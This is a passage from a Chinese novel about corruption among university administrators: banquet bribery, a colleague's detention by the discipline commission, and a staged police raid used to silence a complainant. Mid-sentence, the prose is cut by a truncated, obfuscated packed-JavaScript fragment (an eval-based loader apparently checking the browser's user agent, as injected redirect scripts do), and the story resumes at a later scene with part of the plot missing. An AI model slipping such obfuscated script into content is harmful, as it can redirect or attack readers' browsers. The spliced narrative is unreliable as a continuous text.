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两人刚沿着林荫道走了几步,方琳便单刀直入:“顾处长最近应酬不少吧?”顾明远因为她是知道了孟超过江请客的事情,赶紧摇着手一个劲地否认。方琳眼睛里掠过一丝冷笑,并不深究,话锋一转,语调变得神秘而关切:“听说你们学校的汤校长马上要退了?你这趟学习一结束,回去恐怕就要挑更重的担子了吧?我们家老江私下里可是很看好你的。” 顾明远最反感的就是这段时间所有人的言必谈“升迁”不,便淡淡地敷衍了一句:“学校里比我优秀的人多的是。” 好在方琳似乎并不打算在这个问题上过多纠缠,停下脚步目光灼灼地看向顾明远:“好像周校长在汤校长头前一个月退吧?你们这些核心部门处长们,对谁来接班怎么看?” 方琳这话问得实在是有些“司马昭之心”。顾明远早已不是行政圈子里的“素人,便乐得送个顺水人情,言真意切报出了“江川”的名字。 方琳喜不自禁,将顾明远的衣袖扯了一下:“顾不得我们家老江对你一直非常看重呢”,手伸得急,被路边的月季枝条刺了一下,也顾不得喊疼,又言简意赅地历数起老公这些年在楚江大学的丰功伟绩来,直听得顾明远浑身起了鸡皮疙瘩。远远地看在不远处的陆家宜,像是见了救星一样,高声喊了声“家宜”。 陆家宜闻声走了过来,慌得方琳只好急促地说出了江川晚上过江请客的消息,特意强调是专门过来看望他替他助威撑场面。 顾明远先是一愣,随即大喜过望:这不正可以解决自己心头的困扰了么?上课时,没有心思听课的他将眼睛一遍遍扫视着众人,最后开出了九人的名单。下课后送给方琳过目,她嫌高校处长院长太多,拿起笔在上面加了五位省厅处长的名字。望着这个和孟超有异曲同工的名单,顾明远何乐不为呢。 彷佛是心有灵犀,晚宴的排场和孟超比起来有过之而无不及。更胜一筹的是,方琳竟然请动了深居简出从不参加宴请的组织部干部处段处长。这让江川在包房中简直风光无限。 如果说江川是运筹帷幄之中,那方琳则是决胜酒桌之上。在她不动声色的激励下,原本低调的段处长几轮酒下来,已经开始满面红光,言不由己,甚至主动起身领着一帮省厅处长为“楚江大学未来的校长”干杯。江川受宠若惊,声音有些颤抖地鞠躬致谢后,将面前满满的一壶酒一饮而尽,趁着大家不注意,方琳悄悄将认识处长黄剑递过来的信封塞进段处长挂在椅背上的内衣兜里,又举起酒杯在段处长耳边笑吟吟地低语了几句。 耗时四个小时的酒宴结束时,顾明远以为可以解脱出来回去休息,没料到方琳送走众人后单独将他留了下来,说是江川还要单独请他喝杯茶聊会天。 顾明远只得强打精神,随黄剑步入隔壁订好的茶室。紫砂壶中的铁观音已散发着馥郁的香气。江川呷了一口,笑着将顾明远好好地夸赞了一番,甚至将他预定为“老汤的接班人”。随后,指节轻叩花梨木茶盘,语气看似随意地问道:“不过,顾处长,看在吴校长的面子,我得提醒你,最近外头可是有不少关于新校园的传闻,你得当心点,免得被人的火烧着了自己。” 话音未落,方琳执壶为顾明远续上热水。水汽氤氲间,声音温软,话却句句落到实处:“明远,你现在是基建处处长,工程上的事,第一个签字的是你。分管领导若是真动了歪心思,一旦出事,追起责来,你恐怕难逃干系。”稍作停顿,与江川交换了一个眼神后继续说道:“老江在学校这么多年,上上下下都看得清。今天把你留下来呀,就是想给你提个醒。人才难得呀。” 顾明远握着温热品茗杯,心尖却一阵发凉。他望着杯中沉浮的叶渣,忽然全都明白了。茶室的雅致、夫妇的善意“提醒”,无非都是一场精心排演的戏。他们不是真要保他,而是要让孟超为自己做垫脚石而已。 顾明远只觉得肺腑间像是被塞进了一团湿透的棉絮,沉甸甸地往下坠,堵得他几乎喘不过气。他现在唯一的渴望,就是茶叙早点结束,让他能够去外面呼吸一口冰冷但自由的空气。 72. 风起青萍 离结业还有十来天的时间,顾明远忽然发现何荣坤的座位已经空了两天。那突兀的空缺不像寻常的请假,醒目地扎在顾明远眼中。 课间休息时,陆家宜忽然将顾明远拉到楼下的隐蔽处,声音里混杂着传播禁忌消息的紧张与兴奋:“老顾,听说了吗?我刚得到一个惊天大新闻,你的那位老同学前天晚上晚自习时被省纪委的人直接带走了。” 陆家宜可以压低的声音简直石破天惊,震得顾明远的心跳瞬间加速。看座他有些幸灾乐祸的样子,顾明远强迫自己保持平静,便故作淡然地扯了个谎:“我已经听说了”。自以为神通的陆家宜显得有些失望,便想添枝加叶说些细节压压顾明远,却发现他意兴阑珊,只好讪讪地拱进道旁边正在窃窃低语的人堆中。 看着陆家宜的背影,顾明远的心猛地向下一坠:他怎么知道我和何荣坤同学呢?回到教室后,顾明远再也无心听讲脑海里满是这些年与何荣坤交往场面的回放。想起这些年何荣坤的双手在楚江大学的各种工程项目中翻云覆雨,他的心被一只无形冰冷的手狠狠攥紧。回到宿舍,站在窗前,他的目光落在楼下熙攘而模糊的人影上,一个念头本能地在心中窜起:要不要给孟超打个电话? 念头刚一冒头,又被自己硬生生按了回去:孟超的消息网络只会比自己更灵敏、更迅捷,此时贸然联系,反倒让人会产生“此地无银三百两”的嫌疑。无计可施的顾明远仰面躺倒在床上,闭上眼睛,又开始向篦子一样梳理着自己与何荣坤的每一次交往的细节,开始为那不知何时便会骤然降临的风暴预备一份至少能自圆其说的辩词。 何荣坤是在上晚自习时被辅导叫出教室的。在毫无防备的情况下,被两名身着行政夹克的年轻人一左一右径直带到楼下的商务车里。有些懵懂的他大脑一片空白。当来人亮明纪委的身份时,极度的恐惧瞬间击垮了膀胱的约束,一股滚烫的液体不受控制地涌出,迅速濡湿了身上那价值不菲的毛料西裤,车内涌起一股浓烈的腥臊气味。 大约半个小时的光景,车子盘旋驶进一个群山坳里,停在了由几栋楼围合起来的院子里。下得车来,何荣坤偷偷扫视了一下夜色中的山形轮廓,混沌的脑子里闪过一丝荒诞的熟悉感——这里似乎离舅妈开的那家山庄会所不远。这个意外的“发现”,让他的脑海里忽然泛起一些可笑的亲切感。 大院内沉寂而肃穆。何荣坤被安排进了一个单人间。房间里设施齐全得如同酒店客房。这让他有些意外。逡巡了两圈后,他发现房间似乎和酒店客房似乎有些不同,从洗漱用品到卧具桌椅,几乎全都是塑料制品。 接下来几天,除了送饭时门锁传来那一声冰冷、清脆的“咔哒”声,再无任何动静,他仿佛被人遗忘、抛弃在这片死寂的空间里。巨大的落寞与惊慌开始像无数细小的白蚁啃噬着他的理智和神经。墙角,一张残破的蛛网上,一只灰扑扑的蜘蛛正无声地爬行,那几乎成了他唯一能感知到的、具有生命力的“朋友”。偶尔,会有一两只不知情的灰喜鹊蹦跳着落在窄小的窗台上,歪着脑袋好奇地向室内张望。这时,何荣坤会莫名生出一种“他乡遇故知”的喜悦,忙不迭地吹起口哨试图与这些“访客”交流,奈何它们终究听不懂他的心声,扑棱着翅膀,径自飞向遥远的天空。 百无聊奈的何荣坤只好强迫自己躺在床上,开始高速闪回自己这些年来的各种风光无限:麻将房烟雾缭绕中的大杀四方;觥筹交错间笑纳的名烟名酒;高级会所里身姿曼妙笑容如花的青春女郎……。此刻,这些无限风光已经无法给他带来欢乐,取而代之的是巨大的恐慌:藏在别墅厕所吊顶上的现金、金条会不会被发现?几家企业里的“干股”会不会被查出?早已貌合神离的银行高管妻子会不会举报自己?…… 纷乱的画面和焦虑如同不断累积的巨石,层层叠叠压在他的胸口,让他喘不过气,几近窒息。失眠开始成了标配。黑夜漫长如永无止境的折磨,每一分每一秒都在凌迟着他早已脆弱不堪的神经。 孟超得知何荣坤被带走的消息,已是十天之后,这也正是顾明远从党校结业返校的第一天。孟超的消息不是来自顾明远,竟然是在走廊里“偶遇”的副校长江川。江川脸上挂着一丝猫捉老鼠般的戏谑笑容和孟超分享了消息,声音里透着一种难以捉摸的关心:“这个小何这些年没少干预学校的工程项目,孟校你还是当心点的好,就怕这家伙在里面顶不住疯狗乱咬人的。”说罢,他意味深长地拍了拍孟超的肩膀,力道不轻不重,然后将背影留给了孟超。 独自站在原地,孟超仿佛被骤然袭来的寒流冻僵,直到顾明远前来报到,他的元神才回到了体内。 走进办公室,孟超半是试探地问起何荣坤的事情。顾明远也不隐瞒,将自己所知不多的信息一股脑说了出来,然后眼巴巴地盼望着这位平日里满是主见的分管领导能够指点迷津。没想到孟超沉思了片刻后,只勉励地敷衍了几句,便以有会为由将顾明远打发了事。 回到办公室,心神不定的顾明远将韦江龙召了过来。两人关起门来,花了整整半天时间,将新校园一、二期工程的所有账目明细、审批流程,从头到尾细细梳理了一遍,直到确认找不出能直接牵连到自己的破绽,顾明远悬着的心才稍稍落定。下班后,他信步走到银杏广场,一个脖颈细长如鹤的熟悉背影吸引了他的目光——那个正在手持一根枯枝机械地抽打水池水面的人正是卞同峰。 顾明远心下恻然,上前去和他打招呼。卞同峰反应迟钝,茫然地看了他许久,嘴里含混不清地反复念叨着“不是东西……不是东西……”,然后漠然地转回身,继续执拗地抽打着水面,仿佛要和一个看不见的敌人搏斗。顾明远知道卞同峰已经被定了精神分裂症的性,也不敢贸然和他靠近,正要转身离去,忽然听见身后传来一声怯怯的询问:“是…明远…明远兄吧。”回头看时,卞同峰空洞的眼中似乎涌出一丝光亮,但瞬间又黯淡下去,顾明远回身想去靠近,卞同峰忽然抡起手中的枯枝,在空中暴怒地挥舞起来。顾明远再无心思散步,匆匆迈出步子准备离去。 刚刚走出银杏广场,一个人影忽然从几丛凤尾竹中鬼魅般闪出拦住去路,吓了顾明远一大跳。定睛一看,心里暗自叫苦:这不是“告状王”石凤芝吗? 顾明远强忍不耐,冷冷问道:“石老师,你拦我干什么?” 石凤芝标志性的三角眼中闪烁着狡黠光来,嘴里开始祭出惯用的“诈术”:“小顾,听说你们老孟最近日子不好过的吧?你可别想瞒我,新校园里的那些猫腻,我全晓得的。” 顾明远早已见识过她的“诈蒙”伎俩,只面无表情地瞥了她一眼,径直侧身从她身边绕了过去。 “哟,你年纪轻轻的不懂好人心呢。”威胁落空的石凤芝有些气急败坏,狠狠往地上啐了一口,声音尖利地咒骂了起来:“真是给脸不要脸。等着吧,总有求老娘的那一天。” 虽然对石凤芝这一套胡搅蛮缠、撒泼放刁的做法不屑一顾,但是,听着她那尖锐刺耳的声音在身后回荡,一股难以言喻的烦躁和深重的疲惫如同粘稠的墨汁,瞬间在顾明远的心头漫延开来。他并非惧怕这种赤裸裸的威胁,而是对这种毫无底线的内耗感到深深的厌倦。楚江大学这片他曾经寄予理想与热情的土地,如今在他眼中,却仿佛一个巨大的泥沼将自己拖拽进去。他实在是连一秒钟都不想在这泥沼中耗掉自己的精力和时间了。 正在孟超、顾明远他们心中为何荣坤进去惴惴不安的时候,一场风暴悄然掠了过来。这天下午,戈大垣亲自给孟超、顾明远打来电话。当二人赶到他的办公室时,戈大垣铁青着脸,将一份红头文件递到他们面前,红头文件字字如刀,灼伤着二人的双眼——《关于楚江大学新校园二期工程(大学生活动中心项目)存在违规建设问题的整改通知》:你校大学生活动中心项目违规加盖电影院,存在重大安全隐患,限收到通知之日起十日内自行拆除。 二人看完后,戈大垣罕见地用力拍起了桌子:“嗨,楚江大学真是庙小妖风大池浅王八多啊”。原来,这份整改文件的源头竟然是莫笑非、南令陶、石凤芝他们。 孟超和顾明远对加盖电影院的违规心知肚明。当初,孟超架不住刘芳的软磨硬泡,说服已无心问政的等待退休的周濂,最后给了批条。在指挥部讨论时,顾明远对这个临建项目没少和孟超据理力争,直到听说周濂校长已经点头最后便不再坚持自己的观点。 看见戈大垣灼灼的目光正逼视着自己,孟超便拉出周濂进行抵挡。这下戈大垣更是恼怒:“这不是胡乱决策嘛。现在好了,他已经拍屁股走人,将烂摊子丢给我了。”周濂已经于两个月前正式卸任,目前楚江大学书记、校长的担子全都压在了戈大垣身上,这也是他恼怒得有些失态的原因。 孟超不肯罢休,嗫嚅着说道:“其实当初加盖,也是想丰富教职工业余文化生活,周边几所高校也经常打这样的擦边球”,话音未落,戈大垣挥手阻断了他:“现在说这些管什么用?”然后将目光投向顾明远:“小顾有什么要说的?” 顾明远斗胆说出了石凤芝他们有意兴风作浪的猜测,这倒启发了孟超,他趁机将江川是后台老板的想法说了出来。 戈大垣手拄着下巴沉思了片刻后说道:“内部的事情你们不要管了。当务之急是想办法去做老莫他们的意见,看能不能收回举报。只要举报收回,上面的工作做起来就容易些,无非交点罚款嘛。刚花了几百万盖的,真的拆了,教职工不会将天捅出个窟窿来才怪。” 书记有了意见,孟超心里也就有了底数。走出戈大垣的办公室,他的心里很快就有了“两条腿走路”的主意:对外寻找人脉转圜,对内让举报人闭嘴。 对着手机通讯录上的名单,孟超很快找出了几个可以相帮的人选。可是如何让校内这几位“茅坑里的石头”尤其是举报信上排在首位的莫笑非他们闭嘴,孟超一时有些犯难。他心里清楚,这些年莫笑非和自己的过节日积月累几乎要堆成了小山,想让已经鳏居日渐促狭的莫笑非放弃举报,几乎是不可能的事情。孟超想到了已经和肖志阳复婚如今是厅长助理的江小北出面找老师说合,没想到遭到了不想掀开和“恩师”旧疤的江小北的一口回绝。坐在办公室里苦思冥想了几日,怎么也不能寻出一个万全的手法来。正在他一筹莫展之际,前来汇报工作的韦江龙谈完正事后,主动说出了自己对这个问题的“一点浅见”。 韦江龙说罢,孟超眼前一亮的同时,心里暗自吃惊:看来老实人也有不老实的时候啊。这个平日里对自己唯唯诺诺的“跟班”说出来的计划阴损而毒辣,丝毫不输于当年那位以敢想敢做的钟德君。 犹豫了片刻后,孟超有些不放心,连着追问道:“你这是剑走偏锋,靠谱吗?” 韦江龙似乎很有把握:“您放心吧,老莫的秘书全博士和我是老乡,对老莫的一举一动全在掌握中。” 望着韦江龙眼中狡黠的目光,孟超的担忧在心中升腾。沉吟过后,挥手让韦江龙退下,说是要再考虑考虑。 正在孟超犹疑的当口,一件事情加速他定了决心。 这天,顾明远和韦江龙商量完工作刚走出会议室,被早就候在门口的石凤芝和贺建瑰堵了个正着。两人眼里闪烁着兴奋与贪婪的光,手里扬着整改文件的复印件,站在过道处开始大呼小叫起来:“都是些贪官污吏,装什么假正经呀。”经他们这一咋呼,走廊里看热闹的人开始多了起来。 顾明远已经多次领教过两人胡搅蛮缠的厉害,试图侧身从两人之间挤出一条缝隙一走了之,不料被贺建瑰伸出手来死死拽住了他的胳膊。情急之下的顾明远连忙对着旁边的韦江龙他们喊道:“他们在这里妨碍工作,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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约摸二十分钟后,莫笑非和女郎正在自家床上凌乱的时候,门外突然传来了激烈的敲门声。当莫笑非慌乱地裹着衣服打开门时,两名警察威严地矗立在自己的面前。 莫笑非外强中干,颤着声音质问:“你们无缘无故地擅闯私宅,这也太不像话了吧?” 打头的警察一声冷笑:“我们刚刚接到举报,现在是依法执行公务,请您配合。”说罢,径直朝里屋走去。女郎刚刚胡乱地套上衣服,头发却乱蓬蓬地来不及收拾。 打头警察转身望着莫笑非问道:“您们是什么关系?” 镇静了许多的莫笑非有些恼羞成怒:“我家老伴去世多年,我再找女朋友犯法吗?” 跟在身后的眼镜警察迅速问道:“既然如此,请您们相互说出对方的姓名吧。” 两人大眼望小眼,顿时没了脾气。已经吃过亏的莫笑非深知一旦丑事坐实,丢掉的不只是晚节和名誉,更是事关晚年生活的退休待遇。他迅速将刚才的恼怒换成了媚笑,忙不迭从客厅的柜子里取出两盒自己舍不得喝的上好茶叶来,却被两名警察态度生硬地推开,坚持要带两人去派出所问话。 这下莫笑非彻底慌了神,央求的声调里几乎要带着哭腔。正在僵持的时候,住在楼下的孟超“闻讯”上楼。当他出现在莫家客厅时,莫笑非如同即将溺毙的人抓住了最后一根救命稻草,什么鄙夷、什么举报、什么风骨……,统统被抛到了九霄云外。他一把抓住孟超的胳膊,用颤抖的声音哀求道:“孟校长您来得正好。快帮我跟这两位警官解释解释。这……这完全是个误会呀。” 领头的警察和孟超会心地对了眼神,望着莫笑非不屑地嘲笑道:“误会?人赃并获,证据确凿,还有什么误会?再说,孟校长凭什么帮你?我好像听说你正在举报他的吧?” 这话如同当头棒喝,震得莫笑非险些打了个趔趄,迅疾用右手抽了一下自己的腮帮子,望着孟超卑微地说道:“咳,孟校长,这都是南令陶、石凤芝他们胡编的东西,逼着我在上面签的字嘛。” 孟超故作高深地说道:“我也知道,以你莫教授这样的资深学者是不可能干出这样偷鸡摸狗的事情嘛。唉,白纸黑字,说不清啊。” 莫笑非以为孟超不肯出手想帮,眼神在孟超和警察间来回转动:“那怎么办呢?” 因为韦江龙事前已经铺垫,眼镜警察提出让莫笑非写一个情况说明并作出承诺。事到如此,莫笑非哪敢说出半个“不”字,只好乖乖拿出纸笔,先是将南令陶、石凤芝挞伐了一通后,郑重作出了不再生事的承诺。担心莫笑非反悔,领头警察晃了晃肩上的执法记录仪笑道:“莫教授,刚才你的言行都在这里哦。今天不予追究,可全都是看孟校长的面子,你心里要有数的咧。”说完,两人在孟超的陪同下走出了莫笑非的家。韦江龙早在楼下的樟树下面候着他们。孟超低声交代了几句,韦江龙钻进警车,和两位警察一起出了校门。 莫笑非的决意退出让南令陶、石凤芝他们猝不及防。在自家房屋玻璃两次深夜被人用砖头击碎候,南令陶更是有些恐惧,主动断了和石凤芝她们的联络。举报的浪潮暂时平息下来,这让孟超可以集中精力去公关撤销整改通知的事情。当孟超带着莫笑非那份亲笔写下的材料找到关系人后,几天后,一张三十万的罚款单便勾掉了整改通知上的拆除决定。 事情的解决让孟超既高兴又茫然。他轻轻带上办公室的门,走廊尽头那扇高大的窗户,正将一束亮得晃眼的午后阳光泼洒在地面上,仿佛镀上了一层不太真实的光晕。他的脚步不急不缓却异常轻快,彷佛终于卸下了一副千钧重担。只有他自己清楚,这看似轻松的脚步里却隐隐透着一股前途未卜的虚浮与不安。虽然电影院的危机已经告一段落,但何荣坤那边的达摩克利斯之剑依然高悬。或许,风已经起于青萍之末。未来的前景,他的心里暂时也找不到答案。 73. 最后挣扎 暮春的黄昏,空气里漂浮着一种慵懒而粘稠的气息。电影院那场虚惊的警报,连同何荣坤不明不白的出事,都已过去一个多月,湖面似乎并未兴起预料中的波澜。这让孟超悬着的心放下了许多。为了让舒畅的心情得到滋润,各种宴请几乎成了他工作的主旋律。 下班前,顾明远接到韦江龙的通知,晚上孟校长要在“碧海晴沙会馆”设宴答谢几位在电影院事件中“出过力”的省厅处长,指名要他作陪。顾明远心里厌烦,也只能无奈地应了一声“好”。 夜幕初垂,“碧海晴沙”巨大的霓虹招牌开始流淌出暧昧的光河。顾明远将车停稳,深吸了一口微凉的夜风,才举步迈向那扇沉重的、仿佛能隔绝两个世界的玻璃门。门内,暖昧的光线、甜腻的香氛、混合着酒精与高级脂粉的气息,如同无形的浪潮,瞬间将他包裹。身着高开叉猩红旗袍的迎宾女郎,笑容像精心调制的糖浆,迎上来软语问候。顾明远感到自己的目光无处安放,像是误入了一片不属于他的、过于丰腴肥沃的沼泽地带。 刚走上二楼,正在回廊里叼着烟的韦江龙赶紧快步迎了过来,指了指麻将声喧的“貂蝉故里”的包间说道:“他们正在兴头上,要不你进去先观战观战?” 顾明远早已料定里面烟雾缭绕、吆喝连天的场景,便摆了摆手,让韦江龙先自忙去,自己倚着冰凉的雕花栏杆漫无目标看着楼下喧嚣的大厅。几位浓妆艳抹的女子如色彩斑斓的蝴蝶穿梭在来来往往的男人之间,眼波流转,巧笑嫣然。顾明远心底有些好奇:她们这是要干什么呢?正在疑惑间,韦江龙咳嗽着从“貂蝉故里”走了出来,站在顾明远的身旁故作神秘地说道:“顾处不知道吧?这些个‘花蝴蝶’可不是普通角色,都是五楼、六楼的‘妃子’。”看见顾明远眉宇间掠过一丝不解,他用手指了指楼上,语气里带着几分卖弄:“那上头,啧啧,可真正的‘天上人间’般的仙境。一般人可上不去哟。” 正要继续显摆,里面传来孟超高亢的呼唤,韦江龙只好丢下顾明远,急匆匆回到了包间里。 无处可去的顾明远沿着楼梯缓缓下行。就在这时,一阵清越的琴音如幽谷山泉,沁入顾明远的耳膜。这是他熟悉的古筝名曲《山水》。循着声音望去,远在对角的两株仿真桃树后面的高台上,一位身着汉服的女子正在低头抚琴。只见她时而指尖疾速翻飞,似惊涛裂岸;时而玉指轻拢慢捻,如燕语呢喃。顾明远在心里暗赞了一声“好功夫”,不由得快步走下楼梯。 一曲终了。当女子缓缓抬起螓首时,顾明远大吃一惊,几乎要将“叶笛”二字脱口喊出。 台上的叶笛几乎同时发现了他,顾不上接受客人递上的花束,撩起汉服的裙摆,轻盈地跃下舞台,眼中闪过毫不掩饰的惊喜问道:“顾老师?您怎么也来这里了?” 顾明远被雅乐激起的欢愉早就被惊讶与责备淹没:“我正要问你呢。你怎么会到这种地方来?”正要继续询问,眼角余光瞥见一个领班模样的女子正警惕地望着他们,便缓了缓神色:“要不你先忙,一会再说。” 叶笛若无其事地笑着摇头:“没事啦。我今天的六首曲子都弹完了。正好,我请您喝杯咖啡吧?”说罢,不由分说,将顾明远拉进到大厅里的咖啡室里。顾明远一看服务员递来的价目表上动不动就是“60”“80”的字样,起身就往外走,叶笛一把将他按回座位,语气带着几分娇嗔与豪气:“放心吧顾老师,一杯咖啡我还是请得起的。” “口气不小!刚参加工作,你那点工资,够在这儿消费几次?” 叶笛骄傲地仰起脸来说道:“不瞒您说,我读研的时候就开始在一些高档酒店兼职弹古筝赚外快了,每个月下来,至少是我现在工资的三倍以上。” 顾明远在心里估测了一下,至少不少于两千元的数目。他不免替叶老师担心起来:“你到这种地方打工,叶老师知道吗?” 叶笛“扑哧”笑出声来:“看来顾老师思想很传统的嘛。你不会觉得近墨者黑吧?您放心好了,我是凭本事赚钱,可不像五楼六楼的那些小妹妹。” “这么说,你是知道楼上的事情咯?”顾明远眼里闪出严厉的光来。叶笛脸颊微微泛红,神秘兮兮地小声说道:“顾老师您知道吗?我们学校艺术学院有几个女生就在五楼、六楼‘打工’呢。听说那位院团委宣传部部长的女孩在这里名气大得很,每个月收入……不会低于两万块。” 想起韦江龙方才提到的“妃子”二字,顾明远惊得险些将口中的咖啡呛咳出来。叶笛抽出纸巾想替他揩拭,被顾明远伸手拒绝,旋即正色道:“这种地方藏污纳垢,你可别被这染缸给染了。” 看见顾明远如此关心自己,叶笛心里兴奋得脸上绽出花来:“我就知道顾老师最关心我。您放心好了,我有我的原则,每次弹完,拿钱走人,绝不多停留一分钟。” 顾明远看见叶笛的眼神有些暧昧,赶紧澄清:“我这可不是关心,是替叶老师提醒你。” 正要继续“教育”,韦江龙站在楼梯口使劲向他招手,说是宴席马上开始,让他赶快上去作陪。顾明远只好起身,催促了几遍让叶笛尽快离开后,才跟着韦江龙走上楼去。 回到家里,已是夜里十点。疲惫不堪的他和衣躺在沙发上,很快便沉入了纷乱的梦乡。 ……… 东湖的绿雾浓得化不开,几乎能拧出水来。恍惚间,他看见林思齐踏着粼粼波光,如同凌波仙子般向他飘来。她停驻在对岸开满荻花的浅滩边,眉眼盈盈,含着他记忆中熟悉的、略带哀愁的笑意,向他轻轻招手。顾明远心中狂喜,从葱郁的草甸上爬起,不顾一切地踉跄着扑向湖水。冰凉的湖水迅速漫过膝盖、腰际、脖颈,带来一种刺骨的寒意与窒息感……。 顾明远猛地惊醒,翻身坐起,惊魂未定地大口喘着粗气。这样的梦境最近几次在梦中出现,这让并不迷信的他有些惴惴不安起来。第二天刚一上班,他忍不住将梦中的情景在电话里说给林思齐听。林思齐在电话那头“噗嗤”一声笑了出来,声音像清晨的露珠落在荷叶上,清亮又带着几分揶揄:“哎呀,堂堂顾大处长,不会是担心我这个‘仙女’法力无边,把你的魂魄摄了去吧?” 顾明远被她逗得有些发窘:“这梦确实有些瘆人,湖水冰凉刺骨……。” “哪里冰凉了?”林思齐打断他,语气轻快:“现在都快五月了,东湖的水可温着呢。我看呀,你是工作上压力太大,觉得快要‘溺水’了吧?”顿了顿,放柔了声音,语气里带着一丝不易察觉的关切:“你呀,别总把自己绷得那么紧。要不这个周末,我们一起去东湖实地走走,我保证,湖水是暖的,空气是新鲜的,阳光也是明媚的,一定不会让你‘窒息’。” 她的话轻柔而笃定,像一只温暖的手,轻轻抚平了顾明远心底因梦境而生出的那点褶皱和不安。心情安定了许多的他正要接话,肩头被人从身后轻轻拍打了一下。 回头一看,校工会常务副主席冯伟不知什么时候进了办公室,此刻正带着似笑非笑的神情看着他。 顾明远有些狼狈,嘴里却不服输:“你这家伙,怎么像个大内密探似的啊。” “老弟,你这处长当得够潇洒啊,上班时间谈情说爱,不怕被有心人盯上?” “我已无心向明月。还怕别人盯上?说吧,主席今天是来给职工送福利还是要赐教的呀?” 话刚说出口,顾明远蓦地发现冯伟眉宇间似乎笼罩着一层不同于往日的沉郁。果然,沉默了半晌后,冯伟语气带着一种尘埃落定的平静缓缓说道:“我是来和老弟告别的。” 顾明远不以为意随口应道:“老兄又要去终南山归隐了?暑假还没到呢。”他记得冯伟这两年暑假去终南山小住的往事,忍不住打趣道。 冯伟轻轻叹了口气:“这次不是归隐,而是出山啊。唉,身不由己呀。” 意识到冯伟似乎不是在开玩笑,顾明远心头没来由地一紧,瞪大眼睛追问:“怎么回事?” 冯伟起身将房门掩上,脸上的笑容裹上了一层淡淡的自嘲:“离开楚江大学呀。” 顾明远本能地站起身:“要高升了?” 冯伟眼中闪过一丝嘲弄:“看看,惯性思维多可怕。连你这样清高的人,也认为离开就一定是‘高升’?”他摇了摇头,否定了顾明远的猜测。 在顾明远再三追问下,冯伟才道出原委:在家族企业担任董事长的父亲刚被确诊肺癌晚期。昨晚,家族企业会议一致做出决定,要求他辞职回去接任父亲的职务。经过一夜的挣扎,冯伟最终做出了离开楚江大学这座象牙塔的决定。 顾明远的心像是一下子被抽干的湖面,变得空落起来。在他的心中,冯伟算得上楚江大学里少数几位能够真正交心的朋友。如今,斯人即将离去,他的心中莫名生出一种“疑难可问谁”的伤感来。沉吟半晌,顾明远有些不甘试探着问道:“我记得五年前你父亲就希望你回去接班,当时你可是决然地回绝了呀?” “咳。此一时彼一时也。不满你老弟讲,那时候,对所谓的‘仕途’多少还有些幻想。经过这几年的起落,有些问题也越发看明白了。先不谈升迁路是的尔虞我诈,即使升上去了,又如何呢?说到底,不还是在象牙塔里日复一日空耗着自己?想想也是,离开这潭死水,跳出这无形的牢笼,去干些看得见、摸得着的实事,未尝不是一件快事、幸事呢。” 冯伟的一席话,早顾明远心中引起强烈的回响:想当初,谁不是怀抱理想走进这座象牙塔来?觉得高校是可以心无旁骛做学问、育桃李、展抱负的殿堂。如今,十五年过去了,棱角磨平、热情耗尽后才发现,象牙塔不过是包装精致的名利场。各种关系盘根错节,无形枷锁无处不在。才华和抱负,早被日复一日的文山会海和人事纠葛撕成了碎片……。 “老弟在想什么呐?” 顾明远缓缓抬起头来,万千回响最终只变成一句话:“说实话,我……挺羡慕冯兄你的。总算冲出了这看似热闹、繁华的围城,至少不用再仰人鼻息、看人脸色过日子了。” 看见顾明远神情有些落寞,冯伟强笑着说道:“老弟其实也不用这么悲观。以你的才华,好比是困在笼子里的鹰隼,一旦打开笼子,你会一飞冲天的。” “都这个时候了,老兄别拿我开玩笑了。”顾明远苦笑道。 “老弟,其实我有一个想法,哪一天,你在这象牙塔里实在觉得憋闷,我们公司的大门随时为你敞开。” 顾明远看出冯伟不是在开玩笑,心中顿觉温暖如春。沉吟片刻,他将自己心中酝酿多年的创办乡村学堂的想法说了出来,并将依托二姐顾小满公司目前的进展和盘说了出来。 冯伟沉默了足足半分钟,伸手在他的肩上重重拍了几下:“老弟果然不是池中俗物。这样看来,我挖你去公司的想法倒显得俗套了”,说到这里,他的手停在了半空:“只是我有些不明白。你毕竟在体制内,总不能丢了饭碗去搞那个没有利润的什么学堂吧?” “这也正是我还在纠结的一件事情。说实话,我没有冯兄这样的底气,辞职肯定不行,我现在正琢磨着能不能利用业余时间去做这件事情,这也是这几年我一直想回到历史学院做个普通老师的原因,毕竟老师是可以不坐班的嘛。” “看来老弟已经主意已定了啊。放心,老兄绝对支持你心随梦想一起走的。”< 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冯伟这才放心离开。站在窗前,顾明远目送着冯伟略显落寞却步伐坚定的身影,消失在办公楼外那片青葱的银杏林中,心头忽地泛起一种“孤帆远影碧空尽”的苍凉,象牙塔里的这片天地,似乎更加空旷寂寥了。 想着拉顾明远“下海”的,远不止冯伟一人。最近,刚刚晋升事务所主任的钟德君正忙着“新桃换旧符”,打散那些由老臣把持的班子,组建一支自己能够掌控的新生力量。他第一个想到的就是顾明远。他清楚,顾明远这些年一直对现状厌倦和不适,以他的学习能力和实诚厚道,绝对是理想的副手人选。 事不宜迟,钟德君在“阿芳大酒店”约见了顾明远。几杯三十年陈酿茅台下肚,钟德君并不急于发出邀请,而是如同经验丰富的猎手,抽丝剥茧地替顾明远分析起楚江大学这些年基建方面的种种乱象,直听得顾明远后背发凉,这才冷笑一声:“老顾,你是个明白人,这何荣坤的‘雷’倒现在还没有爆呢。哪一天他在里面憋不住了,更大的风暴迟早要刮进你们这座象牙塔里来。我劝你呀,赶紧急流勇退吧?” “何荣坤”三个字让本来强装镇定的顾明远有些慌了神,口气绵软地说道:“我是打算回到学院重拾教鞭的。”至于其他打算,并不打算向钟德君透露。 钟德君看见顾明远并没有完全明白自己的意思,便有些沉不住气,干脆将自己的真实意图说了出来。 顾明远手中的酒杯晃了一下,追问道:“什么意思?” 钟德君不慌不忙,给顾明远的杯子里重新斟满酒后说道:“老顾,咱们认识这么多年,你……就真的甘心在这死气沉沉的象牙塔里窝囊待上一辈子?现在是市场经济时代啦,多少高校里有本事、有门路的人都下海了,以你的能力和格局,呆在楚江大学就是暴殄天物嘛。老顾,听我一句劝,换个活法,到我的公司来,咱们哥俩一起开创大场面,实现人生价值的最大化。” 